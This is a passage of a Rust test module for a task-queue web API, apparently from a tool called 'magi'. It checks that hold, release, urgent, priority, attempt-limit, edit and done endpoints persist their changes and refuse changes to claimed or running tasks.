17723        assert!(h[1].pass.is_some());
17724    }
17725
17726    #[tokio::test]
17727    async fn explicit_resumption_web_handler_matches_cli_without_a_listener() {
17728        let dir = tempfile::tempdir().unwrap();
17729        let queue = Queue::at(dir.path().join("queue"));
17730        let ui = Arc::new(Ui::new(
17731            queue.clone(),
17732            Questions::at(dir.path().join("questions")),
17733            Talks::at(dir.path().join("talks")),
17734            dir.path().join("runs"),
17735            dir.path().to_path_buf(),
17736            dir.path().to_path_buf(),
17737        ));
17738        let mut t = Task::new(
17739            "recover".into(),
17740            "Inspect".into(),
17741            PathBuf::from("."),
17742            Source::Human,
17743        );
17744        t.record_answer("Inspect then resume?".into(), "Inspect then wait".into());
17745        t.start("run-A".into());
17746        t.release_operator("choice", Some("resume-question"));
17747        t.resume_override = Some(crate::queue::OperatorResume {
17748            question_id: "resume-question".into(),
17749            at: jiff::Timestamp::now(),
17750            conductor_rehold: None,
17751            forced: true,
17752            pinned_run: Some("run-A".into()),
17753        });
17754        t.hold_machine(Some("inspection pending".into()));
17755        t.edit("recover".into(), "Reuse approved PR head".into())
17756            .unwrap();
17757        queue.put(&mut t).unwrap();
17758        let mut cli = t.clone();
17759        cli.release_operator("cli", None);
17760        let Json(reply) = queue_release(State(ui), Path(t.id.clone())).await.unwrap();
17761        let reloaded = queue.get(&t.id).unwrap();
17762        assert_eq!(reply.task.status, TaskStatus::Queued);
17763        assert!(reloaded.resume_override.is_none());
17764        assert_eq!(reloaded.answers, t.answers);
17765        let mut web = reloaded.resumption.unwrap();
17766        let cli = cli.resumption.unwrap();
17767        assert_eq!(web.source, "web");
17768        web.source = cli.source.clone();
17769        web.at = cli.at;
17770        assert_eq!(web, cli);
17771    }
17772
17773    #[tokio::test]
17774    async fn holding_then_releasing_returns_a_task_to_the_loop_with_a_fresh_budget() {
17775        let f = Fixture::start().await;
17776        let queue = f.queue();
17777        let mut task = Task::new(
17778            "spent".to_owned(),
17779            "Try again".to_owned(),
17780            PathBuf::from("/repo/magi"),
17781            Source::Human,
17782        );
17783        task.start("20260902-140502-bbbb".to_owned());
17784        task.fail("agent gave up", 9);
17785        queue.put(&mut task).expect("file the task");
17786
17787        let held = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17788        assert_eq!(held.status, 200);
17789        assert_eq!(held.json()["status_str"], "held");
17790
17791        let released = f
17792            .post(&format!("/api/queue/{}/release", task.id), None)
17793            .await;
17794        assert_eq!(released.status, 200);
17795        assert_eq!(released.json()["status_str"], "queued");
17796        assert_eq!(released.json()["resumption"]["source"], "web");
17797        assert_eq!(released.json()["resumption"]["instruction"], "Try again");
17798        let mut cli = task.clone();
17799        cli.release_operator("cli", None);
17800        let web = queue.get(&task.id).unwrap().resumption.unwrap();
17801        let cli = cli.resumption.unwrap();
17802        assert_eq!(web.instruction, cli.instruction);
17803        assert_eq!(web.answers_through, cli.answers_through);
17804        assert_eq!(web.runs_through, cli.runs_through);
17805        assert_eq!(web.cleared_reason, cli.cleared_reason);
17806        assert_eq!(
17807            released.json()["attempts"],
17808            0,
17809            "release is a real second chance, not an instant re-hold"
17810        );
17811        assert_eq!(
17812            queue.get(&task.id).expect("reload").status,
17813            TaskStatus::Queued,
17814            "the change is on disk, not only in the reply"
17815        );
17816        assert!(
17817            !f.home
17818                .path()
17819                .join("queue")
17820                .join(format!("{}.lock", task.id))
17821                .exists(),
17822            "the claim the mutation took is released again"
17823        );
17824    }
17825
17826    #[tokio::test]
17827    async fn a_task_a_daemon_is_running_cannot_be_changed_from_the_phone() {
17828        let f = Fixture::start().await;
17829        let queue = f.queue();
17830        let mut task = Task::new(
17831            "busy".to_owned(),
17832            "Running right now".to_owned(),
17833            PathBuf::from("/repo/magi"),
17834            Source::Human,
17835        );
17836        queue.put(&mut task).expect("file the task");
17837        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
17838
17839        let res = f.post(&format!("/api/queue/{}/hold", task.id), None).await;
17840
17841        assert_eq!(res.status, 409);
17842        assert_eq!(
17843            queue.get(&task.id).expect("reload").status,
17844            TaskStatus::Queued,
17845            "the refused hold changed nothing"
17846        );
17847    }
17848
17849    #[tokio::test]
17850    async fn holding_with_a_reason_reads_back_from_show_and_the_card_and_release_clears_it() {
17851        let f = Fixture::start().await;
17852        let queue = f.queue();
17853        let mut task = Task::new(
17854            "waiting on the migration".to_owned(),
17855            "Do the thing".to_owned(),
17856            PathBuf::from("/repo/magi"),
17857            Source::Human,
17858        );
17859        queue.put(&mut task).expect("file the task");
17860
17861        let held = f
17862            .post(
17863                &format!("/api/queue/{}/hold", task.id),
17864                Some(r#"{"reason":"waiting for 20260101-000000-aaaa to land"}"#),
17865            )
17866            .await;
17867        assert_eq!(held.status, 200, "{}", held.body);
17868        assert_eq!(held.json()["status_str"], "held");
17869        assert_eq!(
17870            held.json()["hold_reason"],
17871            "waiting for 20260101-000000-aaaa to land"
17872        );
17873
17874        let listed = f.get("/api/queue").await.json();
17875        assert_eq!(
17876            listed[0]["hold_reason"], "waiting for 20260101-000000-aaaa to land",
17877            "the card reads the reason off the same list route"
17878        );
17879
17880        // A hold with no body at all must keep working - most holds have no
17881        // reason to give.
17882        let mut plain = Task::new(
17883            "no reason given".to_owned(),
17884            "Do another thing".to_owned(),
17885            PathBuf::from("/repo/magi"),
17886            Source::Human,
17887        );
17888        queue.put(&mut plain).expect("file the task");
17889        let held_plain = f.post(&format!("/api/queue/{}/hold", plain.id), None).await;
17890        assert_eq!(held_plain.status, 200, "{}", held_plain.body);
17891        assert!(held_plain.json()["hold_reason"].is_null());
17892
17893        let released = f
17894            .post(&format!("/api/queue/{}/release", task.id), None)
17895            .await;
17896        assert_eq!(released.status, 200);
17897        assert!(
17898            released.json()["hold_reason"].is_null(),
17899            "a release must clear the reason so the next hold does not inherit it"
17900        );
17901    }
17902
17903    #[test]
17904    fn urgent_request_requires_a_boolean_and_rejects_unknown_fields() {
17905        for urgent in [true, false] {
17906            let body: UrgentBody =
17907                serde_json::from_value(serde_json::json!({ "urgent": urgent })).unwrap();
17908            assert_eq!(body.urgent, urgent);
17909        }
17910        for input in [
17911            r#"{}"#,
17912            r#"{"urgent":null}"#,
17913            r#"{"urgent":"true"}"#,
17914            r#"{"urgent":1}"#,
17915            r#"{"urgent":true,"extra":false}"#,
17916        ] {
17917            assert!(
17918                serde_json::from_str::<UrgentBody>(input).is_err(),
17919                "{input}"
17920            );
17921        }
17922    }
17923
17924    #[tokio::test]
17925    async fn urgent_handler_saves_and_rejects_claims_without_a_server() {
17926        let home = TempDir::new().unwrap();
17927        let q = Queue::at(home.path().join("queue"));
17928        let ui = Arc::new(Ui::new(
17929            q.clone(),
17930            Questions::at(home.path().join("questions")),
17931            Talks::at(home.path().join("talks")),
17932            home.path().join("runs"),
17933            home.path().into(),
17934            home.path().into(),
17935        ));
17936        let mut task = Task::new(
17937            "urgent handler".into(),
17938            "keep".into(),
17939            home.path().into(),
17940            Source::Human,
17941        );
17942        for status in [TaskStatus::Queued, TaskStatus::Held] {
17943            task.status = status;
17944            q.put(&mut task).unwrap();
17945            for urgent in [true, true, false, false] {
17946                let saved = queue_urgent(
17947                    State(Arc::clone(&ui)),
17948                    Path(task.short().into()),
17949                    Ok(Json(UrgentBody { urgent })),
17950                )
17951                .await
17952                .unwrap();
17953                assert_eq!(serde_json::to_value(saved.0).unwrap()["urgent"], urgent);
17954                assert_eq!(q.get(&task.id).unwrap().urgent, urgent);
17955            }
17956        }
17957        task.status = TaskStatus::Queued;
17958        q.put(&mut task).unwrap();
17959        let claim = q.claim(&task.id).unwrap();
17960        let error = queue_urgent(
17961            State(Arc::clone(&ui)),
17962            Path(task.id.clone()),
17963            Ok(Json(UrgentBody { urgent: true })),
17964        )
17965        .await
17966        .unwrap_err();
17967        assert_eq!(error.status, StatusCode::CONFLICT);
17968        assert!(error.message.contains("released"));
17969        drop(claim);
17970        for status in [
17971            TaskStatus::Running,
17972            TaskStatus::Done,
17973            TaskStatus::Failed,
17974            TaskStatus::Blocked,
17975            TaskStatus::Parked,
17976        ] {
17977            task.status = status;
17978            q.put(&mut task).unwrap();
17979            let error = queue_urgent(
17980                State(Arc::clone(&ui)),
17981                Path(task.id.clone()),
17982                Ok(Json(UrgentBody { urgent: false })),
17983            )
17984            .await
17985            .unwrap_err();
17986            assert_eq!(error.status, StatusCode::BAD_REQUEST);
17987            assert!(error.message.contains(status.as_str()));
17988        }
17989    }
17990
17991    #[tokio::test]
17992    async fn urgent_api_updates_preserves_and_validates_tasks() {
17993        let f = Fixture::start().await;
17994        let q = f.queue();
17995        let mut t = Task::new(
17996            "urgent API".into(),
17997            "unchanged".into(),
17998            PathBuf::from("/repo/magi"),
17999            Source::Human,
18000        );
18001        t.attempts = 2;
18002        t.priority = 9;
18003        t.interrupt = true;
18004        t.hold_reason = Some("waiting for approval".into());
18005        for status in [TaskStatus::Queued, TaskStatus::Held] {
18006            t.status = status;
18007            q.put(&mut t).unwrap();
18008            for urgent in [true, true, false, false] {
18009                let response = f
18010                    .post(
18011                        &format!("/api/queue/{}/urgent", t.short()),
18012                        Some(&format!("{{\"urgent\":{urgent}}}")),
18013                    )
18014                    .await;
18015                assert_eq!(response.status, 200, "{}", response.body);
18016                assert_eq!(response.json()["urgent"], urgent);
18017                let saved = q.get(&t.id).unwrap();
18018                let mut before = serde_json::to_value(&t).unwrap();
18019                let mut after = serde_json::to_value(saved).unwrap();
18020                before["urgent"] = urgent.into();
18021                before.as_object_mut().unwrap().remove("updated_at");
18022                after.as_object_mut().unwrap().remove("updated_at");
18023                assert_eq!(after, before);
18024            }
18025        }
18026        let route = format!("/api/queue/{}/urgent", t.id);
18027        for body in [
18028            r#"{}"#,
18029            r#"{"urgent":null}"#,
18030            r#"{"urgent":"true"}"#,
18031            r#"{"urgent":1}"#,
18032            r#"{"urgent":true,"extra":false}"#,
18033            "{",
18034        ] {
18035            assert_eq!(f.post(&route, Some(body)).await.status, 400);
18036        }
18037        t.status = TaskStatus::Queued;
18038        q.put(&mut t).unwrap();
18039        let claim = q.claim(&t.id).unwrap();
18040        let response = f.post(&route, Some(r#"{"urgent":true}"#)).await;
18041        assert_eq!(response.status, 409, "{}", response.body);
18042        assert!(!q.get(&t.id).unwrap().urgent);
18043        drop(claim);
18044        for status in [
18045            TaskStatus::Running,
18046            TaskStatus::Done,
18047            TaskStatus::Failed,
18048            TaskStatus::Blocked,
18049            TaskStatus::Parked,
18050        ] {
18051            t.status = status;
18052            q.put(&mut t).unwrap();
18053            for urgent in [true, false] {
18054                let response = f
18055                    .post(&route, Some(&format!("{{\"urgent\":{urgent}}}")))
18056                    .await;
18057                assert_eq!(response.status, 400, "{}", response.body);
18058                assert!(response.body.contains(status.as_str()));
18059                assert!(response.body.contains("queued or held"));
18060                assert!(!q.get(&t.id).unwrap().urgent);
18061            }
18062        }
18063        assert_eq!(
18064            f.post("/api/queue/missing/urgent", Some(r#"{"urgent":true}"#))
18065                .await
18066                .status,
18067            404
18068        );
18069    }
18070
18071    #[tokio::test]
18072    async fn priority_can_be_raised_from_the_phone_and_moves_the_task_ahead() {
18073        let f = Fixture::start().await;
18074        let queue = f.queue();
18075        let mut older = Task::new(
18076            "filed first".to_owned(),
18077            "x".to_owned(),
18078            PathBuf::from("/repo/magi"),
18079            Source::Human,
18080        );
18081        older.id = "20260101-000001-aaaa".to_owned();
18082        let mut newer = Task::new(
18083            "filed second".to_owned(),
18084            "x".to_owned(),
18085            PathBuf::from("/repo/magi"),
18086            Source::Human,
18087        );
18088        newer.id = "20260101-000002-bbbb".to_owned();
18089        queue.put(&mut older).expect("file older");
18090        queue.put(&mut newer).expect("file newer");
18091
18092        // Equal priority: the newer task leads, the same order the old
18093        // newest-first `list()` already gave every equal-priority queue.
18094        let before = f.get("/api/queue").await.json();
18095        assert_eq!(before[0]["id"], newer.id);
18096        assert_eq!(before[1]["id"], older.id);
18097
18098        // Raising the *older* task is the meaningful case: it can only lead
18099        // now because its priority says so, not because it happens to be
18100        // newest.
18101        let raised = f
18102            .post(
18103                &format!("/api/queue/{}/priority", older.id),
18104                Some(r#"{"priority":10}"#),
18105            )
18106            .await;
18107        assert_eq!(raised.status, 200, "{}", raised.body);
18108        assert_eq!(raised.json()["priority"], 10);
18109
18110        let after = f.get("/api/queue").await.json();
18111        let names: Vec<&str> = after
18112            .as_array()
18113            .unwrap()
18114            .iter()
18115            .map(|t| t["id"].as_str().unwrap())
18116            .collect();
18117        // Highest priority first, which is the order next_runnable and
18118        // `magi task list` both use - GET /api/queue must agree with it
18119        // immediately, not just once the loop claims the task.
18120        assert_eq!(names[0], older.id, "the raised task now sorts first");
18121    }
18122
18123    #[tokio::test]
18124    async fn row_priorities_follow_dispatch_order_and_preserve_upgrade_lane() {
18125        let f = Fixture::start().await;
18126        let queue = f.queue();
18127        let mut tasks = Vec::new();
18128        for id in [
18129            "20260101-000001-aaaa",
18130            "20260101-000002-bbbb",
18131            "20260101-000003-cccc",
18132        ] {
18133            let mut task = Task::new(
18134                id.into(),
18135                "x".into(),
18136                PathBuf::from("/repo/magi"),
18137                Source::Human,
18138            );
18139            task.id = id.into();
18140            queue.put(&mut task).unwrap();
18141            tasks.push(task);
18142        }
18143        assert_eq!(
18144            queue.next_runnable().unwrap().id,
18145            tasks[0].id,
18146            "equal priorities use ascending id"
18147        );
18148        let route = format!("/api/queue/{}/priority", tasks[2].id);
18149        assert_eq!(f.post(&route, Some(r#"{"priority":1}"#)).await.status, 200);
18150        assert_eq!(queue.next_runnable().unwrap().id, tasks[2].id);
18151        tasks[1].start("upgrade-run".into());
18152        tasks[1].park("upgrade");
18153        tasks[1].record_pass_at(
18154            "upgrade-run",
18155            0,
18156            Some("2026-01-01T00:00:00Z".parse().unwrap()),
18157            1,
18158            Some(crate::run::ParkCause::Upgrade {
18159                from: "old".into(),
18160                to: None,
18161            }),
18162        );
18163        queue.put(&mut tasks[1]).unwrap();
18164        let rows = f.get("/api/queue").await.json();
18165        let upgrade = rows
18166            .as_array()
18167            .unwrap()
18168            .iter()
18169            .find(|row| row["id"] == tasks[1].id)
18170            .unwrap();
18171        assert_eq!(upgrade["upgrade_resume_at"], "2026-01-01T00:00:00Z");
18172        assert_eq!(queue.next_runnable().unwrap().id, tasks[1].id);
18173        tasks[2] = queue.get(&tasks[2].id).unwrap();
18174        tasks[2].start("running-run".into());
18175        queue.put(&mut tasks[2]).unwrap();
18176        assert_eq!(f.post(&route, Some(r#"{"priority":2}"#)).await.status, 400);
18177        assert_eq!(queue.get(&tasks[2].id).unwrap().priority, 1);
18178    }
18179
18180    #[tokio::test]
18181    async fn task_attempt_limit_api_persists_validates_and_refuses_claims() {
18182        let dir = TempDir::new().unwrap();
18183        let q = Queue::at(dir.path().join("queue"));
18184        let ui = Arc::new(Ui::new(
18185            q.clone(),
18186            Questions::at(dir.path().join("questions")),
18187            Talks::at(dir.path().join("talks")),
18188            dir.path().join("runs"),
18189            dir.path().to_path_buf(),
18190            dir.path().to_path_buf(),
18191        ));
18192        let mut t = Task::new(
18193            "budget".into(),
18194            "keep".into(),
18195            dir.path().into(),
18196            Source::Human,
18197        );
18198        t.attempts = 2;
18199        t.runs.push("prior-run".into());
18200        t.hold_manual(Some("waiting".into()));
18201        q.put(&mut t).unwrap();
18202        let change = |value| {
18203            queue_attempt_limit(
18204                State(ui.clone()),
18205                Path(t.id.clone()),
18206                Ok(Json(AttemptLimitBody {
18207                    attempt_limit: value,
18208                })),
18209            )
18210        };
18211        for value in [
18212            serde_json::json!(3),
18213            serde_json::Value::Null,
18214            serde_json::json!(1),
18215        ] {
18216            let response = change(value.clone()).await.unwrap();
18217            assert_eq!(
18218                serde_json::to_value(response.0).unwrap()["attempt_limit"],
18219                value
18220            );
18221            let saved = q.get(&t.id).unwrap();
18222            assert_eq!(
18223                serde_json::to_value(&saved).unwrap()["attempt_limit"],
18224                value
18225            );
18226            assert_eq!(saved.status, TaskStatus::Held);
18227            assert_eq!(saved.attempts, t.attempts);
18228            assert_eq!(saved.runs, t.runs);
18229            assert_eq!(saved.hold_reason, t.hold_reason);
18230            let detail = task_detail(State(ui.clone()), Path(t.id.clone()))
18231                .await
18232                .unwrap()
18233                .0;
18234            assert_eq!(detail.max_attempts, saved.effective_attempt_limit(2));
18235            assert_eq!(detail.flow.max_attempts, detail.max_attempts);
18236            let outcome = task_outcome(&saved, "prior-run", 2, |_| None);
18237            assert_eq!(outcome.max_attempts, detail.max_attempts);
18238        }
18239        for value in [
18240            serde_json::json!(0),
18241            serde_json::json!(-1),
18242            serde_json::json!(1.5),
18243            serde_json::json!("3"),
18244            serde_json::json!(true),
18245        ] {
18246            assert_eq!(
18247                change(value).await.err().unwrap().status,
18248                StatusCode::BAD_REQUEST
18249            );
18250        }
18251        assert!(serde_json::from_str::<AttemptLimitBody>("{}").is_err());
18252        let claim = q.claim(&t.id).unwrap();
18253        assert_eq!(
18254            change(serde_json::json!(4)).await.err().unwrap().status,
18255            StatusCode::CONFLICT
18256        );
18257        drop(claim);
18258        for status in [
18259            TaskStatus::Running,
18260            TaskStatus::Done,
18261            TaskStatus::Failed,
18262            TaskStatus::Blocked,
18263            TaskStatus::Parked,
18264        ] {
18265            let mut stored = q.get(&t.id).unwrap();
18266            stored.status = status;
18267            q.put(&mut stored).unwrap();
18268            assert_eq!(
18269                change(serde_json::json!(4)).await.err().unwrap().status,
18270                StatusCode::BAD_REQUEST
18271            );
18272            assert_eq!(q.get(&t.id).unwrap().attempt_limit.unwrap().get(), 1);
18273        }
18274        let mut stored = q.get(&t.id).unwrap();
18275        stored.status = TaskStatus::Queued;
18276        q.put(&mut stored).unwrap();
18277        let _ = change(serde_json::Value::Null).await.unwrap();
18278        assert_eq!(q.get(&t.id).unwrap().attempt_limit, None);
18279    }
18280
18281    #[tokio::test]
18282    async fn task_implementers_api_persists_and_refuses_claimed_or_finished_tasks() {
18283        let dir = TempDir::new().unwrap();
18284        let repo = dir.path().join("repo");
18285        std::fs::create_dir(&repo).unwrap();
18286        std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).unwrap();
18287        let q = Queue::at(dir.path().join("queue"));
18288        let ui = Arc::new(Ui::new(
18289            q.clone(),
18290            Questions::at(dir.path().join("questions")),
18291            Talks::at(dir.path().join("talks")),
18292            dir.path().join("runs"),
18293            dir.path().to_path_buf(),
18294            repo.clone(),
18295        ));
18296        let mut t = Task::new(
18297            "seats".into(),
18298            "keep instruction".into(),
18299            repo,
18300            Source::Human,
18301        );
18302        t.runs.push("prior-run".into());
18303        t.hold_manual(Some("waiting".into()));
18304        q.put(&mut t).unwrap();
18305        let change = |count| {
18306            queue_implementers(
18307                State(ui.clone()),
18308                Path(t.id.clone()),
18309                Ok(Json(ImplementersBody {
18310                    implementers: count,
18311                })),
18312            )
18313        };
18314        for count in [2, 1, 2] {
18315            let response = change(count).await.unwrap();
18316            assert_eq!(response.0.task.implementers(), Some(usize::from(count)));
18317            let saved = q.get(&t.id).unwrap();
18318            assert_eq!(saved.implementers(), Some(usize::from(count)));
18319            assert_eq!(saved.runs, t.runs);
18320            assert_eq!(saved.instruction, t.instruction);
18321        }
18322        for count in [0, 4] {
18323            assert_eq!(
18324                change(count).await.err().unwrap().status,
18325                StatusCode::BAD_REQUEST
18326            );
18327        }
18328        assert!(serde_json::from_str::<ImplementersBody>(r#"{"implementers":256}"#).is_err());
18329        let claim = q.claim(&t.id).unwrap();
18330        assert_eq!(change(1).await.err().unwrap().status, StatusCode::CONFLICT);
18331        drop(claim);
18332        for status in [
18333            TaskStatus::Running,
18334            TaskStatus::Done,
18335            TaskStatus::Failed,
18336            TaskStatus::Blocked,
18337            TaskStatus::Parked,
18338        ] {
18339            let mut stored = q.get(&t.id).unwrap();
18340            stored.status = status;
18341            q.put(&mut stored).unwrap();
18342            assert_eq!(
18343                change(1).await.err().unwrap().status,
18344                StatusCode::BAD_REQUEST
18345            );
18346            assert_eq!(q.get(&t.id).unwrap().implementers(), Some(2));
18347        }
18348    }
18349
18350    #[tokio::test]
18351    async fn priority_is_refused_on_a_running_task_with_a_reason_in_the_body() {
18352        let f = Fixture::start().await;
18353        let queue = f.queue();
18354        let mut task = Task::new(
18355            "in flight".to_owned(),
18356            "x".to_owned(),
18357            PathBuf::from("/repo/magi"),
18358            Source::Human,
18359        );
18360        task.start("20260902-140502-bbbb".to_owned());
18361        queue.put(&mut task).expect("file the task");
18362
18363        let res = f
18364            .post(
18365                &format!("/api/queue/{}/priority", task.id),
18366                Some(r#"{"priority":9}"#),
18367            )
18368            .await;
18369        assert_eq!(res.status, 400, "{}", res.body);
18370        assert!(
18371            res.json()["error"]
18372                .as_str()
18373                .is_some_and(|e| e.contains("running")),
18374            "{}",
18375            res.body
18376        );
18377        assert_eq!(
18378            queue.get(&task.id).expect("reload").priority,
18379            0,
18380            "the refused write must not partially apply"
18381        );
18382    }
18383
18384    #[tokio::test]
18385    async fn editing_replaces_title_and_instruction_and_keeps_id_created_at_source_and_runs() {
18386        let f = Fixture::start().await;
18387        let queue = f.queue();
18388        let mut task = Task::new(
18389            "old title".to_owned(),
18390            "old instruction".to_owned(),
18391            PathBuf::from("/repo/magi"),
18392            Source::Agent {
18393                run: "20260101-000000-beef".to_owned(),
18394                node: "implement".to_owned(),
18395            },
18396        );
18397        task.runs.push("20260101-000000-beef".to_owned());
18398        queue.put(&mut task).expect("file the task");
18399        let created_at = task.created_at;
18400
18401        let edited = f
18402            .post(
18403                &format!("/api/queue/{}/edit", task.id),
18404                Some(r#"{"title":"new title","instruction":"new instruction"}"#),
18405            )
18406            .await;
18407        assert_eq!(edited.status, 200, "{}", edited.body);
18408        let body = edited.json();
18409        assert_eq!(body["title"], "new title");
18410        assert_eq!(body["instruction"], "new instruction");
18411        assert_eq!(body["id"], task.id, "editing must not mint a new id");
18412        assert_eq!(body["created_at"], created_at.to_string());
18413        assert_eq!(
18414            body["source"]["kind"], "agent",
18415            "editing a task an agent filed must not turn it human: {body}"
18416        );
18417        assert_eq!(body["runs"], serde_json::json!(["20260101-000000-beef"]));
18418
18419        let reloaded = queue.get(&task.id).expect("reload");
18420        assert_eq!(reloaded.title, "new title");
18421        assert_eq!(reloaded.instruction, "new instruction");
18422    }
18423
18424    #[tokio::test]
18425    async fn editing_in_a_duplicate_is_a_409_naming_the_match_until_forced() {
18426        // The judge is an agent now: a repo whose only agent answers
18427        // "duplicate" stands in for it, so the refusal is the judge's.
18428        let tmp = TempDir::new().expect("tempdir");
18429        let repo = tmp.path().join("repo");
18430        std::fs::create_dir_all(&repo).expect("repo dir");
18431        let judge = MOCK_AGENT_TOML.replace(
18432            "printf ok",
18433            r#"printf '{\"duplicate\":true,\"reason\":\"same branch\"}'"#,
18434        );
18435        std::fs::write(repo.join("magi.toml"), judge).expect("write magi.toml");
18436        let f = Fixture::with_repo(repo.clone()).await;
18437        let queue = f.queue();
18438        let mut owner = Task::new(
18439            "owner".to_owned(),
18440            "review it".to_owned(),
18441            repo.clone(),
18442            Source::Human,
18443        );
18444        owner.review_branch = Some("magi/ab12/A".to_owned());
18445        queue.put(&mut owner).expect("file the owner");
18446        let mut task = Task::new(
18447            "draft".to_owned(),
18448            "old".to_owned(),
18449            repo.clone(),
18450            Source::Human,
18451        );
18452        queue.put(&mut task).expect("file the draft");
18453        let url = format!("/api/queue/{}/edit", task.id);
18454
18455        let refused = f
18456            .post(
18457                &url,
18458                Some(r#"{"title":"t","instruction":"land magi/ab12/A"}"#),
18459            )
18460            .await;
18461        assert_eq!(refused.status, 409, "{}", refused.body);
18462        let msg = refused.json()["error"]
18463            .as_str()
18464            .unwrap_or_default()
18465            .to_owned();
18466        assert!(
18467            msg.contains("magi/ab12/A") && msg.contains("force"),
18468            "{msg}"
18469        );
18470        assert_eq!(queue.get(&task.id).expect("reload").instruction, "old");
18471
18472        let forced = f
18473            .post(
18474                &url,
18475                Some(r#"{"title":"t","instruction":"land magi/ab12/A","force":true}"#),
18476            )
18477            .await;
18478        assert_eq!(forced.status, 200, "{}", forced.body);
18479    }
18480
18481    #[tokio::test]
18482    async fn editing_a_running_task_is_refused_with_a_reason_in_the_response() {
18483        let f = Fixture::start().await;
18484        let queue = f.queue();
18485        let mut task = Task::new(
18486            "in flight".to_owned(),
18487            "do not touch".to_owned(),
18488            PathBuf::from("/repo/magi"),
18489            Source::Human,
18490        );
18491        task.start("20260902-140502-bbbb".to_owned());
18492        queue.put(&mut task).expect("file the task");
18493
18494        let res = f
18495            .post(
18496                &format!("/api/queue/{}/edit", task.id),
18497                Some(r#"{"title":"x","instruction":"y"}"#),
18498            )
18499            .await;
18500        assert_eq!(res.status, 400, "{}", res.body);
18501        assert!(
18502            res.json()["error"]
18503                .as_str()
18504                .is_some_and(|e| e.contains("running")),
18505            "{}",
18506            res.body
18507        );
18508        assert_eq!(
18509            queue.get(&task.id).expect("reload").instruction,
18510            "do not touch",
18511            "the refused edit must not change the file"
18512        );
18513    }
18514
18515    #[tokio::test]
18516    async fn a_claimed_task_refuses_priority_and_edit_the_same_way_it_refuses_hold() {
18517        let f = Fixture::start().await;
18518        let queue = f.queue();
18519        let mut task = Task::new(
18520            "busy".to_owned(),
18521            "Running right now".to_owned(),
18522            PathBuf::from("/repo/magi"),
18523            Source::Human,
18524        );
18525        queue.put(&mut task).expect("file the task");
18526        let _claim = queue.claim(&task.id).expect("stand in for the daemon");
18527
18528        let priority = f
18529            .post(
18530                &format!("/api/queue/{}/priority", task.id),
18531                Some(r#"{"priority":9}"#),
18532            )
18533            .await;
18534        assert_eq!(priority.status, 409, "{}", priority.body);
18535
18536        let edit = f
18537            .post(
18538                &format!("/api/queue/{}/edit", task.id),
18539                Some(r#"{"title":"x","instruction":"y"}"#),
18540            )
18541            .await;
18542        assert_eq!(edit.status, 409, "{}", edit.body);
18543    }
18544
18545    #[tokio::test]
18546    async fn done_from_the_phone_keeps_runs_source_and_created_at_unlike_delete() {
18547        let f = Fixture::start().await;
18548        let queue = f.queue();
18549        let mut task = Task::new(
18550            "shipped by hand".to_owned(),
18551            "merged outside the loop".to_owned(),
18552            PathBuf::from("/repo/magi"),
18553            Source::Agent {
18554                run: "20260101-000000-b455".to_owned(),
18555                node: "implement".to_owned(),
18556            },
18557        );
18558        task.runs.push("20260101-000000-b455".to_owned());
18559        task.runs.push("20260101-000000-9af4".to_owned());
18560        queue.put(&mut task).expect("file the task");
18561        let created_at = task.created_at;
18562
18563        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18564        assert_eq!(done.status, 200, "{}", done.body);
18565        assert_eq!(done.json()["status_str"], "done");
18566
18567        let reloaded = queue.get(&task.id).expect("a done task is still on disk");
18568        assert_eq!(
18569            reloaded.runs,
18570            ["20260101-000000-b455", "20260101-000000-9af4"]
18571        );
18572        assert_eq!(
18573            reloaded.source,
18574            Source::Agent {
18575                run: "20260101-000000-b455".to_owned(),
18576                node: "implement".to_owned(),
18577            }
18578        );
18579        assert_eq!(reloaded.created_at, created_at);
18580    }
18581
18582    #[tokio::test]
18583    async fn closing_a_held_task_as_done_from_the_phone_clears_its_hold_reason() {
18584        // `done` is allowed on any status, including `held`, with no release
18585        // in between - so a task held for a reason and then closed directly
18586        // must not keep reading as "waiting on" it afterwards, on its card or
18587        // in `magi task show`.
18588        let f = Fixture::start().await;
18589        let queue = f.queue();
18590        let mut task = Task::new(
18591            "landed while held".to_owned(),
18592            "x".to_owned(),
18593            PathBuf::from("/repo/magi"),
18594            Source::Human,
18595        );
18596        task.hold_manual(Some("waiting on 3ed9".to_owned()));
18597        queue.put(&mut task).expect("file the held task");
18598
18599        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18600        assert_eq!(done.status, 200, "{}", done.body);
18601        assert_eq!(done.json()["status_str"], "done");
18602        assert!(
18603            done.json()["hold_reason"].is_null(),
18604            "a done task cannot still be waiting on something: {}",
18605            done.body
18606        );
18607    }
18608
18609    #[tokio::test]
18610    async fn done_from_the_phone_supersedes_an_earlier_blocked_attempt() {
18611        // `queue_done` is the phone's way to close a task the loop never
18612        // settled itself - after confirming a manual GitHub merge, say - and
18613        // that is just as much "this task's story is over" as the loop's own
18614        // `Merged`/`Ready` path, so it must trigger the same cleanup.
18615        let f = Fixture::start().await;
18616        let queue = f.queue();
18617        let runs = f.runs();
18618        write_run(&runs, "20260101-000000-doa1", RunStatus::Blocked);
18619        // The last attempt has to have actually landed for the earlier one
18620        // to count as superseded - see `done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed`
18621        // for the case where it didn't.
18622        write_run(&runs, "20260101-000000-doa2", RunStatus::Merged);
18623
18624        let mut task = Task::new(
18625            "landed by hand".to_owned(),
18626            "x".to_owned(),
18627            PathBuf::from("/repo/magi"),
18628            Source::Human,
18629        );
18630        task.runs.push("20260101-000000-doa1".to_owned());
18631        task.runs.push("20260101-000000-doa2".to_owned());
18632        queue.put(&mut task).expect("file the task");
18633
18634        let done = f.post(&format!("/api/queue/{}/done", task.id), None).await;
18635        assert_eq!(done.status, 200, "{}", done.body);
18636
18637        let reloaded_run = read_run(&runs, "20260101-000000-doa1")
18638            .expect("run still on disk under this fixture's own home");
18639        assert_eq!(
18640            reloaded_run.status,
18641            RunStatus::Superseded,
18642            "closing the task by hand must relabel the earlier blocked attempt exactly \
18643             like the loop's own settle path does"
18644        );
18645    }
18646
18647    #[tokio::test]
18648    async fn done_from_the_phone_does_not_supersede_when_the_last_attempt_never_landed() {
18649        // Closing a task by hand is allowed from any status, including one
18650        // whose last recorded attempt is itself still `Blocked`/`Failed` - a
18651        // manual merge the loop never watched, say. Nothing here is provably
18652        // why the task is done, so nothing earlier gets relabelled either.
18653        let f = Fixture::start().await;
18654        let queue = f.queue();
18655        let runs = f.runs();
